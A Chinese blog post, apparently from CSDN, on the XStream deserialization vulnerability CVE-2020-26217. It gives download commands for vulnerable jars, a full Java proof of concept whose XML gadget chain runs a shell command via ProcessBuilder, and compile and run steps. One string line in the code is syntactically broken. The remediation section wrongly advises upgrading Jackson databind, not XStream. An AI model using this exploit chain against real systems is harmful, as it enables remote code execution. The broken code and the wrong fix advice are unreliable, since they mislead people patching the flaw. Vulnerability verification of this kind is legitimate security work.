关于XStream < 1.4.14 远程代码执行高危漏洞(CVE-2020-26217)的详细验证方法

注:本文仅可用于学习使用。

XStream 是 Java 类库,用来将对象序列化成 XML ( JSON )或反序列化为对象。攻击者通过构造恶意的 XML,在受影响的 XStream 版本中绕过默认黑名单,触发远程代码执行。

一、漏洞原理

XStream 反序列化功能的一个关键点在于它能够从 XML 数据流中恢复原始 Java 对象。当 XStream 序列化 Java 对象时,它会将对象的状态写入 XML 格式。当这些对象被反序列化时,XStream 会重建原始对象,并恢复对象的状态。

CVE-2020-26217 漏洞的根本问题出现在 XStream 的 XML 反序列化过程中,特别是 XStream 没有有效地验证和过滤 XML 输入数据中的潜在恶意内容。恶意用户可以通过构造特殊的 XML 数据,利用不安全的反序列化机制来执行任意代码,导致远程代码执行。

 影响范围:

XStream < 1.4.14,小版本也需要加黑名单如:1.4.11.1

二、验证过程

1、首先wget所需XStream的jar包以及依赖所需jar包

XStream:wget https://search.maven.org/remotecontent?filepath=com/thoughtworks/xstream/xstream/1.4.13/xstream-1.4.13.jar
xmlpull:wget https://search.maven.org/remotecontent?filepath=xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar
xpp3_min:wget https://search.maven.org/remotecontent?filepath=xpp3/xpp3_min/1.1.4c/xpp3_min-1.1.4c.jar

2、验证代码:

import com.thoughtworks.xstream.XStream;

public class VulnerabilityTest {
    public static void main(String[] args) {
        String xml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='java.io.SequenceInputStream'>\n" +
                "              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
                "                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
                "                  <iter class='java.util.ArrayList$Itr'>\n" +
                "                    <cursor>0</cursor>\n" +
                "                    <lastRet>-1</lastRet>\n" +
                "                    <expectedModCount>1</expectedModCount>\n" +
                "                    <outer-class>\n" +
                "                      <java.lang.ProcessBuilder>\n" +
                "                        <command>\n" +
                "                          <string>/bin/touch</string>\n" + // 修改为 Linux 命令
                "                          <string>/tmp/test.txt</string>  <!-- 创建文件的路径 -->
                "                        </command>\n" +
                "                      </java.lang.ProcessBuilder>\n" +
                "                    </outer-class>\n" +
                "                  </iter>\n" +
                "                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
                "                    <method>\n" +
                "                      <class>java.lang.ProcessBuilder</class>\n" +
                "                      <name>start</name>\n" +
                "                      <parameter-types/>\n" +
                "                    </method>\n" +
                "                    <name>start</name>\n" +
                "                  </filter>\n" +
                "                  <next/>\n" +
                "                </iterator>\n" +
                "                <type>KEYS</type>\n" +
                "              </e>\n" +
                "              <in class='java.io.ByteArrayInputStream'>\n" +
                "                <buf></buf>\n" +
                "                <pos>0</pos>\n" +
                "                <mark>0</mark>\n" +
                "                <count>0</count>\n" +
                "              </in>\n" +
                "            </is>\n" +
                "            <consumed>false</consumed>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";

        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

以上验证代码,漏洞如果存在会自动创建文件在/tmp/test.txt

编译

javac -cp xstream-1.4.13.jar:xmlpull-1.1.3.1.jar:xpp3_min-1.1.4c.jar VulnerabilityTest.java

运行代码:

java -cp .:xstream-1.4.13.jar:xmlpull-1.1.3.1.jar:xpp3_min-1.1.4c.jar VulnerabilityTest

检验是否生产文件

ls /tmp/test.txt

漏洞验证完成。

三、修复建议

升级版本;

pom.xml 中更新 Jackson 的版本为一个安全版本:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.10.0</version> <!-- 更新为安全版本 -->
</dependency>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值